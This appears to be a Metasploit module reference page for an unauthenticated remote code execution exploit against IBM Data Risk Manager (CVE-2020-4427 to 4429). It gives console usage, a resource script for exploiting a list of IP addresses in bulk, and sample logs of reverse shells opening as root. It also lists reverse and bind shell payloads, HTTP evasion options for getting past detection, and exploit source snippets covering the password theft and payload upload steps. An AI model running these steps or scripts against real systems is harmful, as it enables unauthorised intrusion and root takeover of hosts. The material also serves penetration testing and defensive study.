IBM Data Risk Manager Unauthenticated Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/ibm_drm_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: IBM Data Risk Manager Unauthenticated Remote Code Execution
Module: exploit/linux/http/ibm_drm_rce
Source code: modules/exploits/linux/http/ibm_drm_rce.rb
Disclosure date: 2020-04-21
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-4427, CVE-2020-4428, CVE-2020-4429, CVE-2020-4430
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password. This module exploits all three vulnerabilities, giving the attacker a root shell. At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on versions <= 2.0.4 according to IBM.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using ibm_drm_rce against a single host
Normally, you can use exploit/linux/http/ibm_drm_rce this way:
msf > use exploit/linux/http/ibm_drm_rce
msf exploit(ibm_drm_rce) > show targets
... a list of targets ...
msf exploit(ibm_drm_rce) > set TARGET target-id
msf exploit(ibm_drm_rce) > show options
... show and set options ...
msf exploit(ibm_drm_rce) > exploit
Using ibm_drm_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ibm_drm_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/ibm_drm_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password. This module exploits all three vulnerabilities, giving the attacker a root shell. At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. The authentication bypass works on versions <= 2.0.6.1, but the command injection should only work on versions <= 2.0.4 according to IBM.
Vulnerability information
For more information about the vulnerability check the advisory at: https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
Setup
The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so.
Verification Steps
Module defaults work very well, you should just need to set RHOSTS and LHOST.
Scenarios
A successful exploit will look like this:
msf5 exploit(linux/http/ibm_drm_unauth_rce) > run
[*] Started reverse TCP handler on 10.9.8.1:4444
[+] 10.9.8.213:8443 - Successfully "stickied" our session ID JQElTQxh
[+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1
[+] 10.9.8.213:8443 - ... and are authenticated as an admin!
[*] 10.9.8.213:8443 - Detected IBM Data Risk Manager version 2.0.2 or above
[+] 10.9.8.213:8443 - We have uploaded our payload...
[+] 10.9.8.213:8443 - and our nmap script file!
[+] 10.9.8.213:8443 - Bearer token 1b78100c-cf42-47fd-b64d-d36c07f1f934 obtained, wait for the final step where we invoke nmap...
[+] 10.9.8.213:8443 - Shell incoming!
[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.213:57136) at 2020-04-21 15:46:29 +0700
whoami
root
uname -a
Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/http/ibm_drm_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/ibm_drm_rce
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/http/ibm_drm_rce) > show info
Name: IBM Data Risk Manager Unauthenticated Remote Code Execution
Module: exploit/linux/http/ibm_drm_rce
Platform: Linux
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-04-21
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 IBM Data Risk Manager <= 2.0.4
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Default server path
VHOST no HTTP server virtual host
Payload information:
Description:
IBM Data Risk Manager (IDRM) contains three vulnerabilities that can
be chained by an unauthenticated attacker to achieve remote code
execution as root. The first is an unauthenticated bypass, followed
by a command injection as the server user, and finally abuse of an
insecure default password. This module exploits all three
vulnerabilities, giving the attacker a root shell. At the time of
disclosure this was an 0day, but it was later confirmed and patched
by IBM. The authentication bypass works on versions <= 2.0.6.1, but
the command injection should only work on versions <= 2.0.4
according to IBM.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-4427
https://nvd.nist.gov/vuln/detail/CVE-2020-4428
https://nvd.nist.gov/vuln/detail/CVE-2020-4429
https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
https://seclists.org/fulldisclosure/2020/Apr/33
https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/
Module Options
This is a complete list of options available in the linux/http/ibm_drm_rce exploit:
msf6 exploit(linux/http/ibm_drm_rce) > show options
Module options (exploit/linux/http/ibm_drm_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Default server path
VHOST no HTTP server virtual host
Payload options (linux/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 IBM Data Risk Manager <= 2.0.4
Advanced Options
Here is a complete list of advanced options supported by the linux/http/ibm_drm_rce exploit:
msf6 exploit(linux/http/ibm_drm_rce) > show advanced
Module advanced options (exploit/linux/http/ibm_drm_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 15 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/ibm_drm_rce module can exploit:
msf6 exploit(linux/http/ibm_drm_rce) > show targets
Exploit targets:
Id Name
-- ----
0 IBM Data Risk Manager <= 2.0.4
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/ibm_drm_rce exploit:
msf6 exploit(linux/http/ibm_drm_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
12 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
13 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
14 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
15 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
16 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
17 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
18 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
19 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
20 payload/linux/x86/adduser normal No Linux Add User
21 payload/linux/x86/chmod normal No Linux Chmod
22 payload/linux/x86/exec normal No Linux Execute Command
23 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
26 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
27 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
29 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
33 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
34 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
35 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
36 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
37 payload/linux/x86/read_file normal No Linux Read File
38 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
41 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
42 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
43 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
44 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
48 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
49 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
50 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
51 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/ibm_drm_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/ibm_drm_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- <PEER> - Failed to "stick" session ID
- <PEER> - Failed to obtain the admin password.
- <PEER> - Failed to authenticate as an admin.
- <PEER> - Failed to authenticate obtain CSRF cookie.
- <PEER> - Failed to upload payload.
- <PEER> - Failed to upload nmap script file.
- <PEER> - Failed to obtain Bearer token.
- <PEER> - Failed to run nmap scan.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to "stick" session ID
Here is a relevant code snippet related to the "<PEER> - Failed to "stick" session ID" error message:
128: 'id' => session_id,
129: 'userName' => 'admin'
130: }
131: })
132: if res && (res.code != 302)
133: fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")
134: end
135:
136: print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")
137:
138: session_id
<PEER> - Failed to obtain the admin password.
Here is a relevant code snippet related to the "<PEER> - Failed to obtain the admin password." error message:
153: 'data' => post_data.to_s,
154: 'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
155: })
156:
157: unless res && (res.code == 200) && res.body[/"data":"([0-9a-f\-]{36})/]
158: fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.")
159: end
160:
161: password = Regexp.last_match(1)
162: print_good("#{peer} - We have obtained a new admin password #{password}")
163:
<PEER> - Failed to authenticate as an admin.
Here is a relevant code snippet related to the "<PEER> - Failed to authenticate as an admin." error message:
173: 'userName' => 'admin',
174: 'password' => password
175: }
176: })
177: unless res && (res.code == 302) && res.get_cookies
178: fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.")
179: end
180:
181: print_good("#{peer} - ... and are authenticated as an admin!")
182: cookie = res.get_cookies
183: url = res.redirection.to_s
<PEER> - Failed to authenticate obtain CSRF cookie.
Here is a relevant code snippet related to the "<PEER> - Failed to authenticate obtain CSRF cookie." error message:
188: 'method' => 'GET',
189: 'cookie' => cookie
190: })
191:
192: unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f\-]{36})";/
193: fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.")
194: end
195: csrf = Regexp.last_match(1)
196:
197: return cookie, csrf
198: end
<PEER> - Failed to upload payload.
Here is a relevant code snippet related to the "<PEER> - Failed to upload payload." error message:
211: 'data' => post_data.to_s,
212: 'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
213: })
214:
215: unless res && (res.code == 200)
216: fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.")
217: end
218:
219: print_good("#{peer} - We have uploaded our payload... ")
220:
221: # step 6: upload our script file
<PEER> - Failed to upload nmap script file.
Here is a relevant code snippet related to the "<PEER> - Failed to upload nmap script file." error message:
246: 'data' => post_data.to_s,
247: 'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
248: })
249:
250: unless res && (res.code == 200)
251: fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.")
252: end
253:
254: print_good("#{peer} - and our nmap script file!")
255: end
256:
<PEER> - Failed to obtain Bearer token.
Here is a relevant code snippet related to the "<PEER> - Failed to obtain Bearer token." error message:
268: 'data' => post_data.to_s,
269: 'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
270: })
271:
272: unless res && (res.code == 200) && res.body =~ /"data":\{"access_token":"([0-9a-f\-]{36})","token_type":"bearer"/
273: fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.")
274: end
275:
276: bearer = Regexp.last_match(1)
277: print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...")
278:
<PEER> - Failed to run nmap scan.
Here is a relevant code snippet related to the "<PEER> - Failed to run nmap scan." error message:
313: 'headers' => { 'Authorization' => "Bearer #{bearer}" },
314: 'data' => post_data.to_s,
315: 'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
316: })
317: unless res && (res.code == 200)
318: fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.")
319: end
320:
321: print_good("#{peer} - Shell incoming!")
322: end
323: end
Go back to menu.
Related Pull Requests
- #14806 Merged Pull Request: Rubocop recently landed modules continued
- #14734 Merged Pull Request: Rubocop recently landed modules
- #13770 Merged Pull Request: Update IBM DRM modules with URL and correct versions
- #13300 Merged Pull Request: Add exploit for IBM DRM RCE (CVE-2020-4427, CVE-2020-4428, CVE-2020-4429)
References
- CVE-2020-4427
- CVE-2020-4428
- CVE-2020-4429
- https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
- https://seclists.org/fulldisclosure/2020/Apr/33
- https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/
See Also
Check also the following modules related to this module:
- exploit/linux/ssh/ibm_drm_a3user
- auxiliary/admin/http/ibm_drm_download
- exploit/linux/http/ibm_qradar_unauth_rce
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/misc/ibm_sametime_webplayer_dos
- auxiliary/dos/misc/ibm_tsm_dos
- auxiliary/gather/ibm_bigfix_sites_packages_enum
- auxiliary/gather/ibm_sametime_enumerate_users
- auxiliary/gather/ibm_sametime_room_brute
- auxiliary/gather/ibm_sametime_version
- auxiliary/scanner/misc/ibm_mq_channel_brute
- auxiliary/scanner/misc/ibm_mq_enum
- auxiliary/scanner/misc/ibm_mq_login
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/windows/browser/ibm_spss_c1sizer
- exploit/windows/browser/ibm_tivoli_pme_activex_bof
- exploit/windows/fileformat/ibm_forms_viewer_fontname
- exploit/windows/fileformat/ibm_pcm_ws
- exploit/windows/http/ibm_tivoli_endpoint_bof
- exploit/windows/http/ibm_tpmfosd_overflow
- exploit/windows/http/ibm_tsm_cad_header
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/windows/misc/ibm_cognos_tm1admsd_bof
- exploit/windows/misc/ibm_director_cim_dllinject
- exploit/windows/misc/ibm_tsm_cad_ping
- exploit/windows/misc/ibm_tsm_rca_dicugetidentify
- exploit/windows/misc/ibm_websphere_java_deserialize
- exploit/osx/local/rsh_libmalloc
- exploit/windows/browser/ibmegath_getxmlvalue
- exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
